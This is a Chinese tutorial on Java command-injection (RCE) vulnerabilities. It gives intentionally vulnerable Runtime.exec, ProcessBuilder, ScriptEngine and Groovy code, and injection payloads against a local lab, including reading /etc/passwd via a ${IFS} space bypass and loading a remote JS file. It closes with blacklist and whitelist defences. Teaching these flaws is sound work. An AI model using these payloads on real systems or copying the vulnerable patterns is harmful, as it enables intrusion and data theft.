在PHP开发语言中有system()、exec()、shell_exec()、eval()、passthru()
等函数可以执行系统命令。在Java开发语言中可以执行系统命令的函数有:
1、Runtime.getRuntime.exec
和ProcessBuilder.start
,其中,Runtime.getRuntime.exec
是在Java1.5之前提供的,Java1.5之后则提供了ProcessBuilder
类来构建进程
2、更多的执行命令的方法,还有ProcessImpl
,ProcessImpl
是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl
这个类
ProcessImpl
类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的
public static String vul(String cmd) throws Exception {
// 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象
Class clazz = Class.forName("java.lang.ProcessImpl");
// 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
// 使用 method.setAccessible 方法将 start 方法设为可访问
method.setAccessible(true);
// 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令
Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}
3、通过脚本引擎代码注入
通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行
4、Groovy
执行命令
不安全的使用Groovy
调用命令
例如:
@GetMapping("/groovy")
public void groovy(String cmd) {
GroovyShell shell = new GroovyShell();
shell.evaluate(cmd);
}
1、ProcessBuilder命令执行方法
Java.lang.ProcessBuilder
类用于创建操作系统进程,每个ProcessBuilder实例管理一个进程属性集。start()
方法利用这些属性创建一个新的Process实例,可以利用ProcessBuilder执行命令
// 构造一个命令
ProcessBuilder processBuilder = new ProcessBuilder("whoami");
// 启动进程
Process process = processBuilder.start();
// 读取进程的输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
2、ProcessBuilder命令执行漏洞利用
Java命令执行漏洞的前提是执行命令的参数可控,参数没有经过相关过滤
下面我们通过典型的Java代码讲解命令执行漏洞,示例程序包首先获取filepath参数传入的数据,然后利用ProcessBuilder进行dir命令的执行,最后将相关结果返回:
public static String processbuilderVul(String filepath) throws IOException {
String[] cmdList = {"cmd.exe", "/c", "dir " + filepath};
ProcessBuilder pb = new ProcessBuilder(cmdList);
pb.redirectErrorStream(true);
Process process = pb.start();
// 获取命令的输出
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
return output.toString();
}
输入..
,获取到了上层的目录信息:
http://127.0.0.1:8888/RCE/ProcessBuilder/vul?filepath=..
因为通过获取filepath参数传入的数据没有经过过滤就传入ProcessBuilder进行执行,故攻击者通过命令连接符就有可能拼接执行额外的命令。例如在Windows系统中使用命令连接符“&
”进行多条命令拼接以便执行echo 123456
命令,输入“filepath=..%26echo 123456
”(这里注意&
要进行url编码)
RCE成功:
1、java.lang.Runtime公共类中的exec()方法同样也可以执行系统命令,exec()方法的使用方式有以下6种:
2、Runtime exec命令执行漏洞利用(参数可控)
当利用exec()进行命令执行时,如果参数没有经过过滤就可能通过命令拼接符进行命令拼接执行多条命令
通过ip参数传入command数组变量中,然后执行ping命令,当输入“ip=127.0.0.1”时,返回“ping 127.0.0.1”后的数据信息
因为ip参数没有经过过滤就直接拼接到了command变量中,这样就造成了命令执行漏洞,输入“ip=127.0.0.1;id
”,这样就可以执行ping 127.0.0.1和id两条命令
3、Runtime exec命令执行漏洞利用(命令本身可控)
典型示例代码如下:
输入“cmd=ls
”,返回了执行ls命令后的数据信息
当输入“cmd=ls;cat/etc/passwd
”后,返回“java.io.IOException”这个错误信息。这是因为Java通过“Runtime.getRuntime().exec
”执行命令并不是启动一个新的shell,所以就会有报错信息,需要重新启动一个shell才能正常执行此命令
启动一个新的shell执行多个命令,输入“cmd=sh -c ls;id
”,发现命令执行成功,返回了ls和id命令的信息:
我们进一步尝试,输入“cmd=sh -c ls;cat /etc/passwd
”,发现浏览器一直在请求的状态,无法正常执行此命令
命令不能正常执行的原因是,如果exec方法执行的参数是字符串参数,参数中的空格会经过StringTokenizer
处理,处理完成后会改变原有的语义导致命令无法正常执行。要想执行此命令要绕过StringTokenizer
才可以,只要找到可以代替空格的字符即可,如${IFS}、$IFS$9
等
输入“cmd=sh -c ls;cat${IFS}/etc/passwd
”后会有以下报错:
也就是说,我们的请求中包含无效的字符,需要对{}
进行url编码,输入“cmd=sh%20-c%20ls;cat$%7BIFS%7D/etc/passwd
”,发现可以正常执行ls和cat/etc/passwd两个命令:
漏洞代码:
public void jsEngine(String url) throws Exception {
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String payload = String.format("load('%s')", url);
// 在Java 8之后移除了ScriptEngineManager的eval
engine.eval(payload, bindings);
}
利用时,加载一个远程的恶意js脚本,例如,构造如下payload:
http://127.0.0.1:8888/RCE/ScriptEngine/vul?url=http://xxx.com/java/1.js
1.js内容如下:
var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
RCE的防御基本的有两种方案,一种是基于黑名单的过滤方法(自定义黑名单,这里过滤了常见的管道符,可自行添加):
public static boolean checkOs(String content) {
String[] black_list = {"|", ",", "&", "&&", ";", "||"};
for (String s : black_list) {
if (content.contains(s)) {
return true;
}
}
return false;
}
此时,再输入恶意的payload:
http://127.0.0.1:8888/RCE/ProcessBuilder/safe?filepath=..%26whoami
请求已经被成功拦截:
一种是基于白名单的方式,这种方式更加有效,且更加难以绕过:(使用白名单替换黑名单。黑名单需要不断更新,而白名单只需要指定允许执行的命令,更容易维护)
public static String safe(String cmd) {
// 定义命令白名单
Set<String> commands = new HashSet<\>();
commands.add("ls");
commands.add("pwd");
// 检查用户提供的命令是否在白名单中
String command = cmd.split("\\s+")[0];
if (!commands.contains(command)) {
return "命令不在白名单中";
}
...
}
此时,用户只能执行ls和pwd命令,其余命令都会被拦截
防御RCE的漏洞,还有一个能够根除的有效方法,那就是在编码时,开发人员应将现有API用于其语言。例如:不要使用Runtime.exec()发出“mail”命令,而要使用位于javax.mail的可用Java API